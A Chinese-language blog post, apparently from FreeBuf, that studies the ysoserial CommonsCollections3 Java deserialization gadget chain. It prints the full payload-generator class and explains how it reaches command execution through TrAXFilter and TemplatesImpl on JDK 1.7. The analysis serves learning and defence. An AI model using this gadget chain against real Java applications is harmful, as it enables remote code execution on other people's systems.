aboood
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

1.前言
本篇文章为学习ysoserial代码系列的第三篇,分析的攻击链为CommonsCollections3,源码是以github上最新版ysoserial代码为例下载地址,具体运行环境为jdk 1.7+ 和 maven 3.x.+为主。
以下是CommonsCollections3的源码,依赖的库为commons-collections:commons-collections:3.1:
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> { @Override public Object getObject(final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections3.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
2.基础知识
CommonsCollections3中使用的部分类已经在之前的文章讲解过,以下是新涉及到的类。
InstantiateTransformer类:继承了Transformer和Serializable接口,调用构造方法生成对象时会传入类型参数数组和实际对象数组。
在执行transform方法时,会根据参数类型数组反射取到传入参数的构造方法,然后传入实际参数数组生成对象返回。
TrAXFilter类:类的构造方法中存在攻击链需要的点,调用构造方法时传入的对象为继承了Templates接口的实现类,当传入的对象实际类型为TransformerImpl时,执行到templates.newTransformer调用时,可以触发TransformerImpl内的漏洞点。
3.代码分析
代码首先生成含有恶意代码的TransformerImpl对象。
生成Transformer利用链,数组第一个位置设置为ConstantTransformer对象,第二个位置设置为InstantiateTransformer对象,其在执行transform方法时事件操作为取TrAXFilter对象的构造方法,传入TransformerImpl恶意对象执行。
生成LazyMap对象,传入Transformer利用链。
和CommonsCollections1一样利用AnnotationInvocationHandler类的readObject方法和invoke方法触发漏洞点。
使用反射的方式将利用链设置到transformerChain对象的iTransformers参数,返回生成的payload.
4.调试运行
使用CommonsCollections3提供的测试代码,在Runtime的exec方法处下断点,可以看到方法调用栈和CommonsCollections1比较类似,只是在执行TrAXFilter类时发生变化。
在TrAXFilter中的构造方法中执行了InstantiateTransformer对象的newTransformer方法。
后续的执行过程和CommonsCollections2中的TransformerImpl漏洞执行链一样,成功执行命令。
5.总结
因为CommonsCollections3中利用了AnnotationInvocationHandler类,所以只在jdk1.7中测试成功,在jdk1.8中AnnotationInvocationHandler类的readObject方法已经加强了安全措施,攻击无法成功。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
